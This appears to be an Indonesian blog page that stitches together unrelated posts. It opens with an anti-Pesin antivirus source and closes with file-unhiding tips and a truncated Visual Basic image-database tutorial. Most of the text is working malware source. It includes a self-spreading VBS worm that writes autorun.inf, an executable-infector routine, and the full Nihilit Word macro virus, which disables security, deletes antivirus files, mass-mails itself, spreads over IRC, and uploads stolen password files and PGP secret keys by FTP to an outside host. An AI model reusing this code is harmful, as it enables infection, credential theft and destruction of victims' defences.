artikel koding antivirus pesin dari sang pembuat

Tepatnya pada tanggal 4 Juni 2004 secara serentak dengan seluruh komputer yang terinfeksi virus Myheart atau Pesin dan bersistem operasi Windows 98 melakukan penghapusan pada Directory Windows plus Program Files. Dengan menampilkan pesan seperti dibawah ini ketika komputer pertama kali dinyalakan :

-----

Pesan ini kutujukan kepada mereka yang tak percaya akan
Kemampuan ku. Aku tahu aku adalah orang yang sangat bodoh tapi
apakah orang bodoh tak punya Impian ... ?? Hanya dengan
dalih ketidak percayaan, kalian telah hancurkan impian Putih ku
Tak apa ... !! karna kini impian itu tlah berubah menjadi
Sebuah Impian Hitam .. !! Ingin ku buktikan akan apa yang kalian
telah tuduhkan kepadaku ... !! Hari ini adalah Hari Ulang Tahun Ku
yang ke - 21 Aku punya kado manis untuk mu !! semoga dengan kado ini kamu
dapat nikmati .... !!
Kepada Bapak Samsu dan Ibu Heni "Terima Kasih Kalian tlah tanamkan impian hitam dihati ini"
Salam Hangat Buat Sobat - sobat satu kelas ku dulu Johan, Imron,
Maulana, Mario, Toni, Usman, Septi dan semua anak - anak 3 Akuntansi 3
I LOVE U ALL
Bye Bye


Windows is updating file(s) Please wait....

------

Setelah itu komputer hanya akan terus menamilkan C: tanpa masuk ke sistem operasi Windows 98. Terdapat banyak laporan ke IGM yang berkonsultasi bagaimana cara mengatasinya ?
Walaupun terdapat banyak Tools AntiVirus Pesin namun pada kenyataannya masih terdapat banyak Virus tersebut. Berdasarkan hasil survey dilapangan banyak yang mengatakan "Kenapa yach ...padahal kemarin sewaktu saya scan dengan anti pesin virusnya udah hilang tapi kok sekarang nongol lagi ???? apa tools ini hanya menghilangkan untuk sementara ??? " atau ada pula yang berkata "Ah ...itu mah ... virus biasa .. itu khan bisa di atasi dengan hapus manual aja ... ga perlu tools !!" Kedua pernyataan dan pertanyaan inilah yang menyebabkan virus tersebut masih dikomputer anda. Agar lebih terbuka saya akan memberikan Source Code Antivirus serta nama - nama file yang telah dianalisa adalah Variant Virus roro atau MyHeart, seperti Constanta List Virus Name berikut ini :

------

Const VirList : Array [1..32] of String =
("Hallo.Roro.htt","sysmng.exe","syssrv.exe","Roro.scr",
"New Text Document.exe","Kenangan.exe","Roro.scr","README.exe",
"Hatiku.exe","Jangan Dibuka.exe","Patah Hati.exe",
"Baca Saya Dong.scr", "Unbreakable Love.scr", "Hallo.scr",
"Puisi Cinta.scr", "Cerita Lucu.scr", "Jangan Dibuka.scr","Uhuuuuy!.scr",
"Surat.scr","Asyik Deh.scr","My Heart.exe","MyHeart.exe","Letter.exe","ssEvtMgr.exe","Home.exe",
"SysTask.exe","Jangan Dibuka.exe","Mistery.exe","Log.exe","ReadMe.exe","Biodata.exe","Untuk Kamu.scr");

------

Satu catatan penting untuk kalian semua yang menggunakan Tools Anti Pesin bikinan saya, adalah "Ketika anda melakukan Scan semua induk dari Virus yang aktif di buat non aktif lalu dihapus, jadi komputer anda telah bersih dari virus Pesin namun tak hanya virus yang dihapus namun ketelitian dari anda semua sangat dibutuhkan pada saat membuka Document Word, anda harus pastikan apakah file tersebut benar - benar berextension *.doc atau *.exe walapun nama file tersebut adalah data asli anda, karena sifat virus ini adalah mengubah nama asli data anda menjadi Temp~45.doc atau Temp~xxx.doc dan menggantikan posisi nama data anda yang asli dengan virus. contoh skripse.exe, laporan khusus.exe etc"

Untuk itu saya bagi - bagikan 80 % Source Code antivirus dari saya untuk dikembangkan lagi ... dan dimanfaatkan demi kebaikan.
Andai ada yang kurang dari SourceCode ini yang membuat AntiVirus dari saya lemah, anda berhak untuk mengembangkannya hingga AntiVirus ini benar - benar ampuh.

------

// Pertama kali dibuat oleh Leonnaro ( LeoNarts ) dengan nama HalloKill
// Revisi ulang oleh Agnies Bahrul Adiyan ( Junior Software ) dengan nama AntiMyHeart&roro ver GUI

procedure TForm1.Timer1Timer(Sender: TObject);
begin
If Tahap = 1 Then
Begin
Tahap := 2;
WavePanel1.Caption := "Scaning .... Plaease wait ... !! ";
ListBox1.Clear;
ListBox1.Items.Add("Scaning .... ");
ListBox1.Items.Add("Please wait .... ");
End Else If Tahap = 2 Then
Begin
Tahap := 0;
WavePanel1.Caption := "The Digital Solution ";
Selesai:=False;
Param:=1;
Drv := Edit1.Text;
Input:=True;
FRepair:=0;
FDel:=0;
If FileSetAttr("C:MSDOS.SYS", FaArchive) = 0 Then
Begin
Try
Ini := TIniFile.Create("C:MSDOS.SYS");
Ini.DeleteKey("Options", "BootWarn");
Ini.DeleteKey("Options", "BootKeys");
Ini.Free;
Except;
End;
FileSetAttr("C:MSDOS.SYS", FaSysFile Or FaReadOnly Or FaHidden);
End;
ini:=TIniFile.Create("win.ini");
ini.WriteString("windows","load","");
ini.Free;
listv:=TStringList.Create;
listv2:=TStringList.Create;
getexelist(listv,"");
If listv.Count>0 Then
For a:=1 to listv.Count Do
Begin
TmpStr:=UpperCase(Listv[a-1]);
if (Pos("SYSMNG.EXE",TmpStr)<>0) or (Pos("SYSSRV.EXE",TmpStr)<>0) or (Pos(".SCR",TmpStr)<>0)
or (Pos("SSEVTMGR.EXE",TmpStr)<>0) or (Pos("SYSTASK.EXE",TmpStr)<>0) Then
Begin
ListBox1.Items.Add("Virus found --> "+listv[a-1]);
DeleteFile("c:windowssystemsystask.exe");
Inc(FDel);
getexelist(listv2,listv[a-1]);
End;
End;
listv.Free;
listv2.Free;
ListBox1.Items.Add("Scanning : "+Drv + ":");
FindFiles(Drv + ":");
ListBox1.Items.Add("Infected :"+IntToStr(FDel + FRepair));
ListBox1.Items.Add("Repaired :"+IntToStr(FRepair));
ListBox1.Items.Add("Deleted :"+IntToStr(FDel));
ListBox1.Items.Add("Mision Complete ");
WavePanel1.Caption := "By Junior Software 2002 - 2003 :)";
Application.MessageBox("Selesai","Mision Complete !!",MB_ICONINFORMATION);
End;
If WavePanel1.Caption = "By Junior Software 2002 - 2003 :)" Then
WavePanel1.Caption := "The Digital Solution "
Else If WavePanel1.Caption = "The Digital Solution " Then
WavePanel1.Caption := "By Junior Software 2002 - 2003 :)"
end;

malaysian virus

' VBS.GrepoZipTsunami.a
' My first VBS virus. Padding itself into a zip file!
' Don't worry, it won't do harm to you.. I promise.
' SealNight5, Asmaradana
' MVS, USM, Malaysia.
' 2005-01-01

Set Fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
Set tsunami = Fso.GetFile(WScript.ScriptFullName)
tsunami.Copy (Fso.GetSpecialFolder(1) & "\PleaseRead1st.vbs")
Set Drives = Fso.Drives

For Each Drive In Drives
On Error Resume Next
If Drive.isready Then
Fso.Deletefile Drive & "tsunami.bat"
End If
Next

ret = Chr(13)
tsu1 = "It is God's avenge!" & ret
tsu2 = "Those people did bad on earth..." & ret
tsu3 = "God has promised, that He will give lesson," & ret
tsu4 = "and this is a promise that the End of Day" & ret
tsu5 = "is just not too far ahead!" & ret & ret
tsu6 = "Pray, do good and may God bless you!" & ret & ret
tsu7 = "Tell and share this message with everyone who has faith in God."

tsunamimsg = "C:\windows\tsunami.txt"
Set msg = Fso.Createtextfile(tsunamimsg, True)
msg.writeline tsu1 & tsu2 & tsu3 & tsu4 & tsu5 & tsu6 & tsu7
msg.Close
ws.run tsunamimsg

For Each Drive In Drives
If Drive.isready Then
On Error Resume Next
tsunami.Copy(drive&"\Tsunami - A must read - God's avenge.vbs")
tsunami.Copy(drive&"\PleaseRead1st.vbs")

tsunamirun = Drive & "autorun.inf"
Set autorun = Fso.Createtextfile(tsunamirun, True)
autorun.writeline "PleaseRead1st.vbs"
autorun.Close

SearchWinZip Drive & "\"
End If
Next

Function SearchWinZip(path)
On Error Resume Next
winzipexist = 1

Set word = CreateObject("word.application")
If word.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "") = "" Then
winzipexist = 0
End If

If winzipexist = 1 Then

Set folder = Fso.getfolder(path)
Set Files = folder.Files

For Each file In Files

If Fso.GetExtensionName(file.path) = "zip" Then
Set ws = CreateObject("wscript.shell")
Set word = CreateObject("word.application")
appword = word.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "")
ws.run appword & " -a -r " & file.path & Chr(32) & " " & Fso.GetSpecialFolder(1) & "\PleaseRead1st.vbs"
End If
Next

Set Subfolders = folder.Subfolders

For Each Subfolder In Subfolders
SearchWinZip Subfolder.path
Next

End If
End Function

coding virus

Code:
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file target
Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature 'baca tSignature
Close fNum
If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode

fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:

Close #1

Call VirInstall

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function

bunuh antivirus

Attribute VB_Name = "Nihilit
Sub AutoClose()
On Error Resume Next
'==========================================
'======= Nihilit v4.0 / Nihilit.d =======
'==========================================
'=== (c) by Necronomikon |[Zer0Gravity] ===
'==========================================
'greets flies out to: Serial Killer(Bitte!;p),GigaByte,jackie,
'Ultras,DX100h,DrG0nzo,The Mental Driller,VirusBuster,$moothie,
'BSL4,Ratter,Benny,NBK,Del_Armg0,SnakeByte,TheWalrus,Malfuntion,
'Belial,CyberWarrior,PhileToaster,newmann,ocker,fii7e
'and all in #virus,#vir,#vxers,#zerogravity,...
'hope to forget nobody.....!
Randomize
sv = Int(Rnd * 3) + 1
If sv = 1 Then svt$ = "porno.doc"
If sv = 3 Then svt$ = "readme!.doc"
If sv = 2 Then svt$ = "sex.doc"
Call Nihilit
Call KillAV
z = Application.System.PrivateProfileString("", _
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows" & _
"\CurrentVersion\App Paths\winzip32.exe", "")
w = Environ("windir")
VBA.Shell z & " -a -r " & w & "\Nihilit.zip" _
& Chr(32) & w & "\nihilit.doc", vbHide
End Sub

Sub Nihilit()
On Error Resume Next
'thanks to j´ for advanced codes
Word.Application.Options.VirusProtection = n
Word.Application.Options.ConfirmConversions = n
Word.Application.Options.SaveNormalPrompt = n
'---
Application.DisplayAlerts = wdAlertsNone
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") <> 1& Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") = 1&
ActiveDocument.ReadOnlyRecommended = False
If NormalTemplate.VBProject.VBComponents.Item("Nihilit").Name <> "Nihilit" Then
ActiveDocument.VBProject.VBComponents("Nihilit").Export ("C:\Windows\Nihilit.drv")
SetAttr "C:\Windows\Nihilit.drv", 6
End If
Call InfectDocument
If Month(Now()) = 12 And Day(Now()) = 14 Then Call Pgp
Else
Call Pwdstealer
NormalTemplate.Saved = True
End If
Call ump
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Necronomikon\ZeroGravity\Nihilit", "Irc") = "True"
Call Irc
'should i release a 2nd version of "Word97/2K.Blade"?
Blade = Int(Rnd * 5)
If Blade = 3 then Call Delay
ActiveDocument.SaveAs FileName:="C:\Windows\Nihilit.doc", FileFormat:=wdFormatDocument
Set Ni_OApp = CreateObject("Outlook.Application")
Set Ni_Mapi = Ni_OApp.GetNameSpace("MAPI")
For Each Ni_AddList In Ni_Mapi.AddressLists
Next
If Ni_AddList.AddressEntries.Count <> 0 Then
For Ni_AddListCount = 1 To Ni_AddList.AddressEntries.Count
Next
Set Ni_AddListEntry = Ni_AddList.AddressEntries(Ni_AddListCount)
Set Ni_msg = Ni_OApp.CreateItem(0)
Ni_msg.To = Ni_AddListEntry.Address
Ni_msg.Subject = "Check this!!!"
Ni_msg.Body = "I like this story!!!;o)." + vbCrLf + "Nihilit"
Ni_msg.Attachments.Add Environ("WINDIR") & "\Nihilit.doc"
Ni_msg.DeleteAfterSubmit = True
If Ni_msg.To <> "" Then
Ni_msg.Send
End If
End If
End Sub

Sub InfectDocument()
On Error Resume Next
If GetAttr(ActiveDocument.FullName) = 1 Then
SetAttr ActiveDocument.FullName, 0
ActiveDocument.Reload
End If
If ActiveDocument.VBProject.VBComponents.Item("Nihilit").Name <> "Nihilit" Then
ActiveDocument.VBProject.VBComponents.import ("C:\Windows\Nihilit.drv")
ActiveDocument.Save
End If
SetAttr ActiveDocument.FullName, 1
End Sub

Sub Pwdstealer()
On Error Resume Next
With Application.FileSearch
.FileName = "*.pwl"
.LookIn = "c:"
.Execute
For i = 1 To .FoundFiles.Count
shell "ftp http://members.tripod.com/Nihilit/"
shell "nihilit"
shell "killer"
shell "post" & .FoundFiles(i)
shell "bye"
Next i
End With
End Sub

Sub Pgp()
On Error Resume Next
'taken from WM97/Caligula by Opic[CodeBreakers]
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Nihilit3") = False) Then

pgppath = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PGP Encrypted File\shell\open\command", "")
Position = InStr(1, pgppath, "pgpt")

If Position <> 0 Then
pgppath = Mid(pgppath, 1, Position - 2)
Else
GoTo noPGP
End If

With Application.FileSearch
.FileName = "\Secring.skr"
.LookIn = pgppath
.SearchSubFolders = True
.MatchTextExactly = True
.FileType = msoFileTypeAllFiles
.Execute
PGP_Sec_Key = .FoundFiles(1)
End With

Randomize
For i = 1 To 4
NewSecRingFile = NewSecRingFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
NewSecRingFile = "./secring" & NewSecRingFile & ".skr"

Open "c:\sys.vxd" For Output As #1
Print #1, "ftp http://members.tripod.com/Nihilit/"
Print #1, "user nihilit"
Print #1, "pass killer"
Print #1, "cd incoming"
Print #1, "binary"
Print #1, "put """ & PGP_Sec_Key & """ """ & NewSecRingFile & """"
Print #1, "quit"
Close #1

Shell "command.com /c ftp.exe -n -s:c:\sys.vxd", vbHide

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Nihilit3") = True

End If

noPGP:
Shell " ping -l 5000 -t http://www.gmx.de", vbHide
Shell " ping -l 5000 -t http://www.symantec.com", vbHide
'my birthday MsgBox!!!;p
MsgBox "Coder of Nihilit v4.0" & vbCrLf & "---------------------------------" & vbCrLf & "(c) by Necronomikon[Zer0Gravity]", 64,"Happy Birthday Necronomikon"
call asmdrop
End Sub

'---- from NTVCK by me!;p -----
Sub KillAV()
On Error Resume Next
Kill "C:\Progra~1\AntiViral Toolkit Pro\*.*"
Kill "C:\Progra~1\Command Software\F-PROT95\*.*"
Kill "C:\Progra~1\FindVirus\*.*"
Kill "C:\Toolkit\FindVirus\*.*"
Kill "C:\Progra~1\Quick Heal\*.*"
Kill "C:\Progra~1\McAfee\VirusScan95\*.*"
Kill "C:\Progra~1\Norton AntiVirus\*.*"
Kill "C:\TBAVW95\*.*"
Kill "C:\VS95\*.*"
Kill "C:\eSafe\Protect\*.*"
Kill "C:\PC-Cillin 95\*.*"
Kill "C:\PC-Cillin 97\*.*"
Kill "C:\f-macro\*.*"
Kill "C:\Progra~1\FWIN32"
End Sub

Sub Delay()
On Error Resume Next
'some Delaystuff from NTVCK v2.0 by me!!!;p
System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Microsoft Input Devices\Mouse", "DoubleClickSpeed") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Microsoft Input Devices\Keyboard", "KeyboardSpeed") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\ControlPanel\", "MenuShowDelay") = "1000"
End Sub

Sub UMP()
'-=[ULTRAS MACRO POLYMORPHIC]=-
On Error Resume Next
PoNu = Int(Rnd() * 28 + 1)
For Mutate = 1 To PoNu
PoRL = Application.VBE.ActiveVBProject.VBComponents("nihilit").CodeModule.CountOfLines
PoLi = Int(Rnd() * PoRL + 1)
a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: d = Rnd * 180: e = Rnd * 49
Application.VBE.ActiveVBProject.VBComponents("nihilit").CodeModule.InsertLines PoLi, vbTab & "Rem " & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e
Next Mutate
End Sub
'---------------

Sub IRC()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Necronomikon\ZeroGravity\Nihilit", "Irc") <> "True" Then
End If
Kill "C:\mirc\Script.ini
Open "c:\mirc\script.ini" For Output As #1
Print #1, "[SCRIPT]
Print #1, "n0=on 1:start:{
Print #1, "n1=on 1:join:#:{
Print #1, "n2=if ( $nick == $me ) { halt } | .dcc send $nick c:\Windows\nihilit.zip
Print #1, "n3= }
Print #1, "n4=on 1:input:*:.msg #nihilit [( $+ $active $+ ) $1-]
Print #1, "n5=on 1:text:*:?:.msg #nihilit [( $+ $active $+ ) $1-]
Print #1, "n6=on 1:FILESENT:*.*:/dcc send $nick C:\Windows\Nihilit.zip
Print #1, "n7=on 1:connect:.msg #nihilit by Necronomikon
Print #1, "n8= /msg #nihilit Im Infected With A Virus from Necronomikon
Print #1, "n9= /part #nihilit
Print #1, "n10= /clear
Print #1, "n11= /motd
Print #1, "n12=on 1:connect:.msg #nihilit Alive! $ip on $server $+ : $+ $port $+
Print #1, "n13=on 1:connect:/raw privmsg Necronomi HeyBabe! $ip on $server $+ : $+ $port $+
Print #1, "n14= }
Print #1, "n15=On 1:Connect:{
Print #1, "n16=/run attrib +h script.ini
Print #1, "n17=/run attrib +r script.ini
Print #1, "n18=/run attrib +s script.ini
Print #1, "n19= }
Print #1, ";IRC.Worm for Nihilit by Necronomikon
Close #1
Kill "C:\Windows\eventss.vxd
Open "C:\Windows\eventss.vxd" For Output As #2
Print #2, "[Levels]
Print #2, "Enabled=1
Print #2, "Count=1
Print #2, "Level1=000-Unknowns"
Print #2, "000-UnknownsEnabled=1
Print #2, "
Print #2, "[000-Unknowns]
Print #2, "User1=*!*@*
Print #2, "UserCount=1
Print #2, "Event1=;Nihilit by Necronomikon
Print #2, "Event2=ON JOIN:#:/dcc send $nick C:\Windows\Nihilit.zip
Print #2, "EventCount=2
Close #2
Kill "C:\pirch98\events.ini
Kill "C:\pirch32\events.ini
SourceFile = "C:\Windows\eventss.vxd
DestinationFile = "C:\pirch98\events.ini
FileCopy SourceFile, DestinationFile
SourceFilez = "C:\Windows\eventss.vxd
DestinationFilez = "C:\pirch32\events.ini
FileCopy SourceFilez, DestinationFilez
End Sub

Sub Phonecall()
On Error Resume Next
'makes a mobile-phonecall to a person i really don't like!
'thx to vic for code
Shell "dialer.exe", vbNormalFocus
SendKeys String:="01601524002", wait:=True
SendKeys String:="%d", wait:=True
For x = 1 To 500000
Next x
SendKeys String:="~", wait:=True
SendKeys String:="%h", wait:=True
SendKeys String:="%{F4}", wait:=True
End Sub

Sub asmdrop()
On Error Resume Next
'Drop Mosquito by Deadman
Open "C:\6.com" For Output As #3
Print #3, "•‡ÖÍ!Ã"
Close #3
Shell "C:\6.com"
End Sub

Sub ToolsOptions()
On Error Resume Next
Options.VirusProtection = 1
Options.SaveNormalPrompt = 1
Dialogs(wdDialogToolsOptions).Show
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
call phonecall
End Sub

Sub ToolsSecurity()
On Error Resume Next
CommandBars("Macro").Controls("Security...").Enabled = True
Dialogs(wdDialogToolsSecurity).Show
CommandBars("Macro").Controls("Security...").Enabled = False
call phonecall
End Sub

Sub FileTemplates()
On Error Resume Next
call phonecall
End Sub

Sub ToolsMacro()
On Error Resume Next
Call Stealth
Dialogs(wdDialogToolsMacro).Display
call phonecall
End Sub

Sub ViewVBCode()
On Error Resume Next
Call Stealth
ShowVisualBasicEditor = True
call phonecall
End Sub

Sub Stealth()
On Error Resume Next
Application.OrganizerDelete Source:=NormalTemplate.Name, _
Name:="Nihilit", Object:=wdOrganizerObjectProjectItems
Application.OrganizerDelete Source:=ActiveDocument.Name, _
Name:="Nihilit", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Saved = True
ActiveDocument.Saved = True
End Sub

Sub HelpAbout()
On Error Resume Next
WordBasic.FileNew
WordBasic.ToggleFull
WordBasic.DocMaximize
WordBasic.Font "Comic Sans MS"
WordBasic.FontSize 60
WordBasic.Bold
WordBasic.Insert "Check this!"
WordBasic.StartOfLine
WordBasic.CharRight 1, 1
WordBasic.FormatFont Points:="48", Color:=6
WordBasic.EndOfLine
WordBasic.InsertPara
WordBasic.InsertPara
WordBasic.FontSize 48
WordBasic.Insert "Nihilit was coded by Necronomikon."
End Sub

Sub FileExit()
On Error Resume Next
Call Nihilit
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.WindowState = wdWindowStateMinimize
pName = CurDir & "\"
fName = Dir(pName & "*.doc", sAttr)
If (fName <> "") And ((fName <> ".") And (fName <> "..")) Then InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:=""
Call Nihilit
Do While (fName <> "")
fName = Dir()
If (fName <> "") And _
((fName <> ".") And (fName <> "..")) Then
InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:=""
Call Nihilit
End If
Loop
ChangeFileOpenDirectory "p:"
ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:=", AddToRecentFiles:=False, WritePassword:=", ReadOnlyRecommended:=False
ChangeFileOpenDirectory "h:"
ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:=", AddToRecentFiles:=False, WritePassword:=", ReadOnlyRecommended:=False
ChangeFileOpenDirectory "f:"
ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:=", AddToRecentFiles:=False, WritePassword:=", ReadOnlyRecommended:=False
Application.Quit
End Sub
Sub AutoExit()
On Error Resume Next
Call Nihilit
Application.WindowState = wdWindowStateMinimize
pName = CurDir & "\"
fName = Dir(pName & "*.doc", sAttr)
If (fName <> "") And ((fName <> ".") And (fName <> "..")) Then InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:=""
Call Nihilit
Do While (fName <> "")
fName = Dir()
If (fName <> "") And _
((fName <> ".") And (fName <> "..")) Then
InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:=""
Call Nihilit
End If
Loop
If ActiveDocument.Saved = False Then ActiveDocument.Save
ChangeFileOpenDirectory "p:"
ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:=", AddToRecentFiles:=False, WritePassword:=", ReadOnlyRecommended:=False
ChangeFileOpenDirectory "r:"
ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:=", AddToRecentFiles:=False, WritePassword:=", ReadOnlyRecommended:=False
ChangeFileOpenDirectory "s:"
ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:=", AddToRecentFiles:=False, WritePassword:=", ReadOnlyRecommended:=False
End Sub

Mengatasi Virus yg melakukan super hidden Folder anda

komputer anda terkena Virus yg ber type menyembunyikan file file penting anda?

atau istilah nya super hidden,dan di menu folder options “show hidden files and folders ” juga hilang?

solusi nya install ulang aja!wkwkkwkw bcanda

oke silahkan ikuti beberapa cara di bawah ini

cara 1

Buka registry editor : klik Start, pilih Run dan ketik “regedit” (tanpa tanda kutip) .

Kemudian arahkan bagian kiri pada key di bawah ini :
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Explorer\Advanced\Folder\Hidden]

Pada bagian kanan buatlah String Value dengan nama value “Type” kemudian double klik dan isi bagian value data dengan “group”. Tutup aplikasi regedit kemudian restart komputer.

cara 2

Bikin DWORD value, kasih nama “Hidden”

User Key: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
Advanced]
Value Name: Hidden
Data Type: REG_DWORD (DWORD Value)
Value Data: (1 = show hidden, 2 = Ngga Show)

cara 3

coba ketik ini di command prompt : attrib G:\*.* -s -h /S /D (asumsi: G:\ adalah drive usb flahdisk ybs)

Kalo gagal coba lakukan per folder/file. ganti *.* dengan nama folder/file yang diinginkan.

Contoh : attrib G:\folder1 -s -h /S /D
attrib G:\folder1 -s -h /S /D
attrib G:\namafile1.ext -s -h
attrib G:\namafile1.ext -s -h

Untuk keterangan lengkap soal option ATTRIB ini, ketik attrib.exe /? di command prompt.

cara 4

Masuk kesini:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\

HideFileExt

Brosing key key yang ada disana:
Rubah value CheckedValue ke 2 ato 1
Rubah value DefaultValue ke 2 ato 1

Semoga membantu…


Kalo regeditnya nda bisa dibuka pake Tune Utility

Simpan / Tampil Gambar Dari Dan Ke Database Access

Oke … Langsung aja, yah………..
Yang dibutuh..in,untuk membuat_nya :
2 Form -> FormGambar.frm , and FormCariGambar.frm
1 Module -> Pengaturan.bas
1DataBase -> Tempat Gambar.mdb

Sebelum Men_Desain Form, alang_kah baik_nya buat DataBase_Nya dulu.

Cara_nya Seperti ini :
Pada Menu Visual Basic, Klik Add-Ins
Pilih Visual Data Manager…
Setelah Muncul Visual Data Manager, Klik Menu File
Pilih New ->Microsoft Access ->Version 7.0 MDB…
Simpan Dengan Nama -> Tempat Gambar.mdb atau Terserah Anda…
Setelah itu Buat Table Baru,Dan Buat Structure Table -> Sesuai Keinginan Anda..
Atau kamu bisa,guna..in Structure Table Aq,
Cara_nya Seperti ini :
Table
Table Name : Gambar
Fields List :
KodeGambar
DataGambar
Alamat
KataKunci
Index List :
KataKunci
KodeGambar
KunciUtamaGambar

Kalo sudah dibuat Database_nya, Hubungkan Database dengan Project,
Cara Nge_Hubung..in_nya :
Klik Menu Project, Pilih References,
Cari dan Aktifkan Microsoft DAO 3.51 Object Library
Desain Form_nya:

Form Gambar

Form

Name : FormGambar
BoderStyle : Fixed ToolWindow
Caption : .:: Demo Program ::.
StartUpPositon : CenterScreen

PictureBox

Name : Picture1
AutoSize : False
BorderStyle :Fixed Single

CommandButton

Name : TambahGambar -> AmbilGambar
Caption : Tambah Gambar -> Ambil Gambar
BackColor : &H00FFC0C0&
Style : Graphical
Taruh Coding dibawah ini pada Form Gambar :

Ini Coding_nya


Code:
Option Explicit
Const UkuranGambar = 8192

Private Sub TambahGambar_Click()
Dim Penyesuaian_Gambar As Recordset
